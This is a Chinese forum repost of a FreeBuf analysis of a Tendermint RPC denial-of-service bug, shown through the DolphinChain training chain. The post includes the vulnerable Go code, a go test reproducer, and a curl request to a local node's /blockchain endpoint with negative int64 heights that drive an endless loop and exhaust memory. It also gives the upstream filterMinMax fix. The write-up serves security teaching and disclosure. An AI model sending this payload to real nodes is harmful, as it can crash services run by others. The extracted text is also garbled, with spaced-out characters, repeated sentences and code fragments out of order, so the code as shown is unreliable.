搜索

[14066] 2019-05-04_海豚链漏洞分析[DC-01]RPC请求因For-loop导致OOM

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-18
2019-05-04_海豚链漏洞分析[DC-01]RPC请求因For-loop导致OOM 海 豚 链 漏 洞 分 析   [ D C - 0 1 ]   R P C 请 求 因 F o r - l o o p 导 致 O O M F r e e B u f   2 0 1 9 - 0 5 - 0 4 以 下 文 章 来 源 于 区 块 安 全   ， 作 者 玄 猫 安 全 海 豚 靶 机 链 海 豚 靶 机 链 （ （ D o l p h i n C h a i n ） 的 上 线 得 到 了 广 大 安 全 人 员 、 开 发 者 的 支 持 ， 在 此 表 示 玄 猫 对 大 家 表 示 感 谢 ！ 现 在 我 们 将 逐 一 公 布 我 ） 的 上 线 得 到 了 广 大 安 全 人 员 、 开 发 者 的 支 持 ， 在 此 表 示 玄 猫 对 大 家 表 示 感 谢 ！ 现 在 我 们 将 逐 一 公 布 我 们 在 靶 机 链 上 设 置 的 的 缺 陷 漏 洞 ， 帮 助 大 家 更 好 的 了 解 区 块 链 链 安 全 。 事 不 宜 迟 ， 本 次 我 们 开 始 第 一 期 漏 洞 的 分 析 。 们 在 靶 机 链 上 设 置 的 的 缺 陷 漏 洞 ， 帮 助 大 家 更 好 的 了 解 区 块 链 链 安 全 。 事 不 宜 迟 ， 本 次 我 们 开 始 第 一 期 漏 洞 的 分 析 。 关 关 于 于 D o l p h i n C h a i n D o l p h i n C h a i n   是 由 玄 猫 安 全 实 验 室 维 护 的 区 块 链 应 用 靶 机 ， 旨 在 教 授 区 块 链 应 用 程 序 安 全 课 程 。 您 可 以 使 用   D o l p h i n C h a i n 进 行 安 装 和 练 习 。 D o l p h i n C h a i n   基 于   t e n d e r m i n t   v 0 . 3 1 . 2   ( W A R N I N G :   A L P H A   S O F T W A R E )   开 发 ， 是 当 时 的   t e n d e r m i n t   最 新 版 本 。 在 这 个 版 本 里 ( v 1 . 0 . 0 ) ， 我 们 在 D o l p h i n C h a i n 设 置 了 1 0 多 个 缺 陷 。 任 何 白 帽 子 与 区 块 链 开 发 者 都 可 以 尝 试 挖 掘 漏 洞 。 D o l p h i n C h a i n 目 的 在 于 帮 助 安 全 人 员 提 高 技 能 ， 同 时 帮 助 区 块 链 开 发 者 更 好 地 了 解 保 护 区 块 链 应 用 程 序 的 过 程 。 项 目 官 网 ： 项 目 官 网 ： h t t p : / / d o l p h i n c h a i n . o r g / 项 目 地 址 ： 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / X u a n M a o S e c L a b / D o l p h i n C h a i n 漏 洞 标 签 漏 洞 标 签 R P C   F o r - l o o p   O O M 漏 洞 描 述 漏 洞 描 述 这 是 一 个 来 自   h a c k e r o n e   提 交 的 关 于   R P C   的 漏 洞 。 恶 意 的   B l o c k c h a i n I n f o   请 求 可 能 会 导 致 无 限 循 环 ， 最 终 导 致 内 存 耗 尽 导 致 崩 溃 。 漏 洞 分 析 漏 洞 分 析 文 件 ： r p c / c o r e / b l o c k s . g o 区 块 安 全 区 块 安 全   . 玄 猫 安 全 实 验 室 关 注 红 蓝 军 攻 防 演 练 、 渗 透 测 试 、 W E B 攻 防 、 区 块 链 安 全 等 领 域 。
攻 击 者 可 以 发 送 如 下 参 数 值 ： 注 意 到 m a x H e i g h t   =   c m n . M i n I n t 6 4 ( b l o c k S t o r e . H e i g h t ( ) ,   m a x H e i g h t ) ， 其 中   M i n I n t 6 4   为 从 两 个 参 数 选 择 较 小 的 ， 所 以 我 们 使 用 负 值 的   m a x H e i g h t 。 注 意 循 环 语 句   f o r   h e i g h t   : =   m a x H e i g h t ;   h e i g h t   > =   m i n H e i g h t ;   h e i g h t - -   { } ， 代 码 中 的   f o r - l o o p   会 可 以 无 限 次 循 环 执 行 。 当 达 到 循 环 次 数   9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 7   ( m a x   i n t 6 4 )   ， 还 能 继 续 进 行 。 每 次 无 法 查 找 块 时 ， 它 会 向   b l o c k M e t a s   向 量 追 加 一 个 n i l 。 最 终 ， 这 将 增 长 到 足 以 耗 尽 服 务 器 上 的 内 存 。 复 现 或 测 试 步 骤 复 现 或 测 试 步 骤 此 处 可 以 有 两 种 复 现 方 式 。 使 用   g o   t e s t   脚 本 测 试 f u n c   B l o c k c h a i n I n f o ( c t x   * r p c t y p e s . C o n t e x t ,   m i n H e i g h t ,   m a x H e i g h t   i n t 6 4 )   ( * c t y p e s . R e s u l t B l o c k c h a i n I n f o ,   e r r o r )   { i f   m i n H e i g h t   = =   0   { m i n H e i g h t   =   1 } i f   m a x H e i g h t   = =   0   { m a x H e i g h t   =   b l o c k S t o r e . H e i g h t ( ) }   e l s e   { m a x H e i g h t   =   c m n . M i n I n t 6 4 ( b l o c k S t o r e . H e i g h t ( ) ,   m a x H e i g h t ) } / /   m a x i m u m   2 0   b l o c k   m e t a s c o n s t   l i m i t   i n t 6 4   =   2 0 m i n H e i g h t   =   c m n . M a x I n t 6 4 ( m i n H e i g h t ,   m a x H e i g h t - l i m i t ) l o g g e r . D e b u g ( " B l o c k c h a i n I n f o H a n d l e r " ,   " m a x H e i g h t " ,   m a x H e i g h t ,   " m i n H e i g h t " ,   m i n H e i g h t ) i f   m i n H e i g h t   >   m a x H e i g h t   { r e t u r n   n i l ,   f m t . E r r o r f ( " m i n   h e i g h t   % d   c a n ' t   b e   g r e a t e r   t h a n   m a x   h e i g h t   % d " ,   m i n H e i g h t ,   m a x H e i g h t ) } b l o c k M e t a s   : =   [ ] * t y p e s . B l o c k M e t a { } f o r   h e i g h t   : =   m a x H e i g h t ;   h e i g h t   > =   m i n H e i g h t ;   h e i g h t - -   {   / /   f o r - l o o p b l o c k M e t a   : =   b l o c k S t o r e . L o a d B l o c k M e t a ( h e i g h t ) b l o c k M e t a s   =   a p p e n d ( b l o c k M e t a s ,   b l o c k M e t a ) } r e t u r n   & c t y p e s . R e s u l t B l o c k c h a i n I n f o { b l o c k S t o r e . H e i g h t ( ) ,   b l o c k M e t a s } ,   n i l } m i n H e i g h t   =   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8   ( m i n   i n t 6 4 ) m a x H e i g h t   =   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8   ( m i n H e i g h t   +   2 0 ) / /   X u a n M a o   :   B u g   t e s t f u n c   T e s t B l o c k c h a i n I n f o F o r l o o p ( t   * t e s t i n g . T )   { c o n f i g   : =   c f g . R e s e t T e s t R o o t ( " n o d e _ n o d e _ t e s t " ) d e f e r   o s . R e m o v e A l l ( c o n f i g . R o o t D i r ) / /   c r e a t e   &   s t a r t   n o d e n ,   e r r   : =   D e f a u l t N e w N o d e ( c o n f i g ,   l o g . T e s t i n g L o g g e r ( ) ) r e q u i r e . N o E r r o r ( t ,   e r r ) e r r   =   n . S t a r t ( )         r e q u i r e . N o E r r o r ( t ,   e r r ) c   : =   s t r u c t   { m i n ,   m a x           i n t 6 4 } {
可 以 看 到 内 存 持 续 上 升 ， 几 分 钟 后 程 序   c r a s h . 启 动 节 点 复 现 开 启 一 个 节 点 ， 并 向 节 点 接 口 ( e . g .   1 2 7 . 0 . 0 . 1 : 2 6 6 5 7 ) ， 发 送 以 下 请 求 ： 修 复 修 复 本 漏 洞 相 关 修 复 见   :   F i x 本 漏 洞 在 版 本   v 0 . 2 2 . 6   中 修 复 。 修 复 方 法 ： 修 复 方 法 ： 增 加   f i l t e r M i n M a x   对 输 入 的 参 数 值 进 行 检 查 处 理 。 检 查 参 数 值 不 小 于 0 ； m i n   小 于   m a x ； 当   m i n   为   0   时 ， 设 置 为   1   ， 当   m a x   为   0   ， 设 置 为 最 后 区 块 高 度 。 - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8 ,   - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8 , } B l o c k c h a i n I n f o ( c . m i n , c . m a x ) } c u r l   ' h t t p : / / / b l o c k c h a i n ? m i n H e i g h t = - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 8 0 8 & m a x H e i g h t = - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 7 5 7 8 8 ' / /   e r r o r   i f   e i t h e r   m i n   o r   m a x   a r e   n e g a t i v e   o r   m i n   <   m a x / /   i f   0 ,   u s e   1   f o r   m i n ,   l a t e s t   b l o c k   h e i g h t   f o r   m a x / /   e n f o r c e   l i m i t . / /   e r r o r   i f   m i n   >   m a x f u n c   f i l t e r M i n M a x ( h e i g h t ,   m i n ,   m a x ,   l i m i t   i n t 6 4 )   ( i n t 6 4 ,   i n t 6 4 ,   e r r o r )   { / /   f i l t e r   n e g a t i v e s i f   m i n   <   0   | |   m a x   <   0   { r e t u r n   m i n ,   m a x ,   f m t . E r r o r f ( " h e i g h t s   m u s t   b e   n o n - n e g a t i v e " ) } / /   a d j u s t   f o r   d e f a u l t   v a l u e s i f   m i n   = =   0   { m i n   =   1 } i f   m a x   = =   0   {
相 关 代 码 相 关 代 码 参 考 漏 洞 代 码 ： h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / b l o b / v 0 . 2 2 . 5 / r p c / c o r e / b l o c k s . g o 本 漏 洞 相 关   I s s u e   见   :   h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / i s s u e s / 2 0 4 9 f i x ： h t t p s : / / g i t h u b . c o m / t e n d e r m i n t / t e n d e r m i n t / c o m m i t / 8 d c 6 5 5 d a d 2 5 b 0 b 0 4 f 2 7 1 c b 6 6 b a 7 3 f d 5 0 4 d b 3 1 9 5 d * 本 文 作 者 ： 本 文 作 者 ： B U G X ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 。 。 推 荐 阅 读 推 荐 阅 读 m a x   =   h e i g h t } / /   l i m i t   m a x   t o   t h e   h e i g h t m a x   =   c m n . M i n I n t 6 4 ( h e i g h t ,   m a x ) / /   l i m i t   m i n   t o   w i t h i n   ` l i m i t `   o f   m a x / /   s o   t h e   t o t a l   n u m b e r   o f   b l o c k s   r e t u r n e d   w i l l   b e   ` l i m i t ` m i n   =   c m n . M a x I n t 6 4 ( m i n ,   m a x - l i m i t + 1 ) i f   m i n   >   m a x   { r e t u r n   m i n ,   m a x ,   f m t . E r r o r f ( " m i n   h e i g h t   % d   c a n ' t   b e   g r e a t e r   t h a n   m a x   h e i g h t   % d " ,   m i n ,   m a x ) } r e t u r n   m i n ,   m a x ,   n i l }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理